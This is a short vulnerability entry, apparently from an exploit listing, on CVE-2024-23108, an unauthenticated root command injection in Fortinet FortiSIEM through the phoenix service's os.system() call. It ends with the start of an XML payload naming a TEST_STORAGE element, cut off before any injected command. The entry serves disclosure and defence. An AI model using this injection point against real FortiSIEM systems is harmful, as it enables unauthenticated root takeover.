CVE-2024-23108: Fortinet FortiSIEM Unauthenticated 2nd Order Command Injection
Description FortiSiEM version 7.0 7.1 6.7 Legacy Affected by a Remote Code Execution (RCE) that allows an unauthenticated attacker to run arbitrary commands as root. The attack is executed by sending a specially crafted HTTPS payload that causes the phoenix FortiSIEM service to run the arbitrary command using os.system() as root. Payload <TEST_STORAGE type="nfs"> <server_ip>127.0.0.1</server_ip>…